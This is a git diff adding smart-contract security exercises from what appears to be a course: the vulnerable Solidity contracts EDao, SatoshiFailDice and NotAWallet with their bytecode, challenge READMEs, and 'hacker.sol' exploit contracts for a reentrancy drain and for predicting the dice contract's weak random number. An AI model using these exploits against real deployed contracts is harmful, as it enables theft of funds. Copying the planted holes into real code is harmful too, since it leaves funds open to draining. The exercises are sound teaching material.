out would be a hard fork to undo all malicious activities but this would crush the reputation of *EveCoin*. + +Your task is it to avoid such a situation. +Find the vulnerability, exploit it and withdraw all the money from +the *EDao* before an attacker can do that. + +## Technical description + +There is an instance of the *EDao* for every student. +You received a public/private key pair (i.e., a *geth* account) together with the address and ABI of the SmartContract you have to exploit. +Your public/private key pair is associated with your contract. +This means that you are the *owner* of that contract and therefore only you can solve this challenge for your *EDao* instance. +To use your pre-generated `geth` account just copy the file starting with `UTC...` into your `keystore` folder in the data directory of your client. + +Your *EDao* as has a balance of `30` *EveCoins*. +The challenge is solved when the balance of your *EDao* is `0`. + +## Hint + +This paper outlines the vulnerability and attack. The contract you have to exloit is named `EDao`, which has the substring **DAO** in its name. +* https://allquantor.at/blockchainbib/pdf/atzei2016survey.pdf + + diff --git a/project2/daodown/hacker.sol b/project2/daodown/hacker.sol new file mode 100644 index 0000000..08ba882 --- /dev/null +++ b/project2/daodown/hacker.sol @@ -0,0 +1,32 @@ +pragma solidity ^0.8.0; + +contract Hacker { + address public owner; + address public challengeAddress; + + modifier onlyOwner() { + require(msg.sender == owner, "Caller is not owner"); + _; + } + + constructor (address _challengeAddress) { + owner = msg.sender; + challengeAddress = _challengeAddress; + } + + function pwn() public { + (bool success, ) = challengeAddress.call( + abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether) + ); + + if (!success) revert(); + } + + function withdraw() external onlyOwner { + selfdestruct(payable(owner)); + } + + fallback() external payable { + if (challengeAddress.balance >= 1 ether) pwn(); + } +} diff --git a/project2/faildice/README.md b/project2/faildice/README.md new file mode 100644 index 0000000..4c4b043 --- /dev/null +++ b/project2/faildice/README.md @@ -0,0 +1,19 @@ +# Description for challenge `FaileDice` + +## Story + +Dear Gambler, *EveCorp* is pleased to announce our new "provably fair" dice gambling contract! +The rules are simple: +Choose a number between 0 and 255 and the contract will roll the dice. +If you roll a 42, your bet will be increased tenfold (x10) +Otherwise, you lose your bet + +Happy betting + +## Technical description + +Drain the contract of its funds. + +## Hint + +There is a way to increase your "luck" diff --git a/project2/faildice/SatoshiFailDice.abi b/project2/faildice/SatoshiFailDice.abi new file mode 100644 index 0000000..940deb7 --- /dev/null +++ b/project2/faildice/SatoshiFailDice.abi @@ -0,0 +1 @@ +[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"user_roll","type":"uint8"}],"name":"rollDice","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_student","type":"address"},{"name":"_big_secret","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"user_roll","type":"uint8"},{"indexed":false,"name":"outcome","type":"uint8"},{"indexed":false,"name":"bet","type":"uint256"},{"indexed":false,"name":"has_won","type":"bool"}],"name":"EventDiceRoll","type":"event"}] \ No newline at end of file diff --git a/project2/faildice/SatoshiFailDice.bin b/project2/faildice/SatoshiFailDice.bin new file mode 100644 index 0000000..fe56d48 --- /dev/null +++ b/project2/faildice/SatoshiFailDice.bin @@ -0,0 +1 @@ +60806040526040516040806105b18339810180604052604081101561002357600080fd5b81019080805190602001909291908051906020019092919050505081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060008190555050506104d9806100d86000396000f3fe608060405260043610610051576000357c0100000000000000000000000000000000000000000000000000000000900480632e1a7d4d14610053578063960630491461008e578063b439548d146100bf575b005b34801561005f57600080fd5b5061008c6004803603602081101561007657600080fd5b8101908080359060200190929190505050610116565b005b6100bd600480360360208110156100a457600080fd5b81019080803560ff1690602001909291905050506101bc565b005b3480156100cb57600080fd5b506100d46103bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561017257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156101b8573d6000803e3d6000fd5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161480156102195750600034115b151561022457600080fd5b60003411151561023357600080fd5b600061023e336103e9565b9050600082820160ff16602a1490508015610325573073ffffffffffffffffffffffffffffffffffffffff1631600a34021015156102d9573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156102d3573d6000803e3d6000fd5b50610324565b3373ffffffffffffffffffffffffffffffffffffffff166108fc600a34029081150290604051600060405180830381858888f19350505050158015610322573d6000803e3d6000fd5b505b5b7f058adfaada73ddb946c1d033264e6be95e23d055f74b3a348843067aa233bba033848585013485604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018560ff1660ff1681526020018460ff1660ff168152602001838152602001821515151581526020019550505050505060405180910390a1505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000814142600054604051602001808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018381526020018281526020019450505050506040516020818303038152906040528051906020012060019004905091905056fea165627a7a723058208343d81ada81bf8d9dae5f752a9a92009ac89b278b6cd51d699048348544d6670029 \ No newline at end of file diff --git a/project2/faildice/SatoshiFailDice.sol b/project2/faildice/SatoshiFailDice.sol new file mode 100644 index 0000000..f4331b1 --- /dev/null +++ b/project2/faildice/SatoshiFailDice.sol @@ -0,0 +1,63 @@ +//pragma solidity ^0.4.12; +pragma solidity ^0.5.4; + +contract SatoshiFailDice{ + // Hint: use web3.toInt() when converting bytes to soldity uint - else values may not match + uint private big_secret; + address student; + address private owner; + + event EventDiceRoll(address user, uint8 user_roll, uint8 outcome, uint256 bet, bool has_won); + + constructor(address _student, uint _big_secret) public payable{ + student = _student; + owner = msg.sender; + big_secret = _big_secret; + } + + function rollDice(uint8 user_roll) payable public { + // You get x10 of your bet if you roll a 42 + + // ensure only the right student can interact with their contract + require(tx.origin == student && msg.value > 0); + require (msg.value > 0 ); + + // grab a new random number + uint8 contract_roll = PRNG(msg.sender); + + bool has_won = (42 == (contract_roll + user_roll )); + + if ( has_won ) { + // Bad luck if you're betting more than you can possibly win + if ( msg.value*10 >= address(this).balance) { + msg.sender.transfer(address(this).balance); + } + else { + // you won + msg.sender.transfer(msg.value*10); + } + } + emit EventDiceRoll(msg.sender, user_roll, contract_roll + user_roll, msg.value, has_won); + + } + + function PRNG(address sender) private view returns(uint8){ + // Totally "awesome" PRNG + //return uint8(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret))); + return uint8(uint(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret)))); + } + + function getStudent() public view returns (address) { + return student; + } + + // allow paying funds + function() external payable { } + + function withdraw(uint256 amount) public { + require(msg.sender == owner); + msg.sender.transfer(amount); + } + +} + diff --git a/project2/faildice/hacker.sol b/project2/faildice/hacker.sol new file mode 100644 index 0000000..1d18f47 --- /dev/null +++ b/project2/faildice/hacker.sol @@ -0,0 +1,39 @@ +pragma solidity ^0.5.4; + +contract Hacking { + uint big_secret = 0x91f40773b6db987faa1b19cc367e0a6931414e9558f5dbe23198a988fc4a64f5; + address payable owner; + address payable challengeAddress; + + modifier onlyOwner() { + require(msg.sender == owner, "Caller is not owner"); + _; + } + + constructor (address payable _challengeAddress) { + owner = msg.sender; + challengeAddress = _challengeAddress; + } + + function pwn() external payable { + require(msg.value == 4 ether, "Must supply 4 ether"); + uint8 contract_roll = PRNG(); + uint8 user_roll = 42 - contract_roll; + + (bool success, ) = challengeAddress.call.value(msg.value)( + abi.encodeWithSignature("rollDice(uint8)", user_roll) + ); + + if (!success) revert(); + } + + function PRNG() private view returns (uint8) { + return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase, block.timestamp, big_secret)))); + } + + function withdraw() external onlyOwner { + selfdestruct(owner); + } + + function() external payable { } +} diff --git a/project2/notawallet/NotAWallet.abi b/project2/notawallet/NotAWallet.abi new file mode 100644 index 0000000..7a32ed5 --- /dev/null +++ b/project2/notawallet/NotAWallet.abi @@ -0,0 +1 @@ +[{"constant":false,"inputs":[{"name":"oldowner","type":"address"}],"name":"removeOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"testowner","type":"address"}],"name":"isOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"student","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newowner","type":"address"}],"name":"addOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"_student","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"}] \ No newline at end of file diff --git a/project2/notawallet/NotAWallet.bin b/project2/notawallet/NotAWallet.bin new file mode 100644 index 0000000..32a815c --- /dev/null +++ b/project2/notawallet/NotAWallet.bin @@ -0,0 +1 @@ +608060405260405160208061085b8339810180604052602081101561002357600080fd5b810190808051906020019092919050505080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610796806100c56000396000f3fe608060405260043610610098576000357c0100000000000000000000000000000000000000000000000000000000900480637065cb481161006b5780637065cb48146101e95780638da5cb5b1461023a578063b439548d14610291578063d0e30db0146102e857610098565b8063173825d91461009d5780632e1a7d4d146100ee5780632f54bf6e14610129578063699450e814610192575b600080fd5b3480156100a957600080fd5b506100ec600480360360208110156100c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102f2565b005b3480156100fa57600080fd5b506101276004803603602081101561011157600080fd5b81019080803590602001909291905050506104cb565b005b34801561013557600080fd5b506101786004803603602081101561014c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610574565b604051808215151515815260200191505060405180910390f35b34801561019e57600080fd5b506101a76105e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f557600080fd5b506102386004803603602081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610608565b005b34801561024657600080fd5b5061024f610719565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029d57600080fd5b506102a661073e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f0610768565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061039a57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4163636573732064656e6469656421000000000000000000000000000000000081525060200191505060405180910390fd5b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055151561047057600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561052a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610570573d6000803e3d6000fd5b5050565b600060011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156105d857600190506105dd565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60011515600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806106b357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156106be57600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b56fea165627a7a7230582022ef29aa0fac0599c80abf8dd89a42f924e3b0f99adb34fa863fa92d5a91f1110029 \ No newline at end of file diff --git a/project2/notawallet/NotAWallet.sol b/project2/notawallet/NotAWallet.sol new file mode 100644 index 0000000..e458cc7 --- /dev/null +++ b/project2/notawallet/NotAWallet.sol @@ -0,0 +1,60 @@ +/** + +Look Mom, I coded my first wallet contract to learn solidity! +It even supports multiple owners! + +**/ + +pragma solidity ^0.5.4; + +contract NotAWallet{ + + address public owner; + address public student; + mapping (address => bool) owners; + + constructor(address _student) public payable{ + student = _student; + owner = msg.sender; + } + + function deposit() public payable { + // recieve coins + } + + function addOwner(address newowner) public { + require (owners[msg.sender] == true || msg.sender == owner); + owners[newowner] = true; + } + + function removeOwner(address oldowner) public rightStudent { + require(owners[msg.sender] = true); + owners[oldowner] = false; + } + + function withdraw(uint256 amount) public { + // only owners can withdraw funds + require(owners[msg.sender] == true); + msg.sender.transfer(amount); + } + + function isOwner(address testowner) public view returns (bool) { + if (owners[testowner] == true) { + return true; + } else { + return false; + } + } + + // ensure that only designated student has access to this challenge + modifier rightStudent() { + require(msg.sender == student || msg.sender == owner, "Access dendied!"); + _; + } + // helper function to check if interacting with right contract + function getStudent() public view returns (address) { + return student; + } + +} + diff --git a/project2/notawallet/README.md b/project2/notawallet/README.md new file mode 100644 index 0000000..55d515d --- /dev/null +++ b/project2/notawallet/README.md @@ -0,0 +1,9 @@ +# Challenge NotAWallet + +This is a Wallet Contract and its source code that you have stumbled upon +Can you spot what is wrong with it? + +# Task + +Drain the contract of its funds and fill up your own account with them. +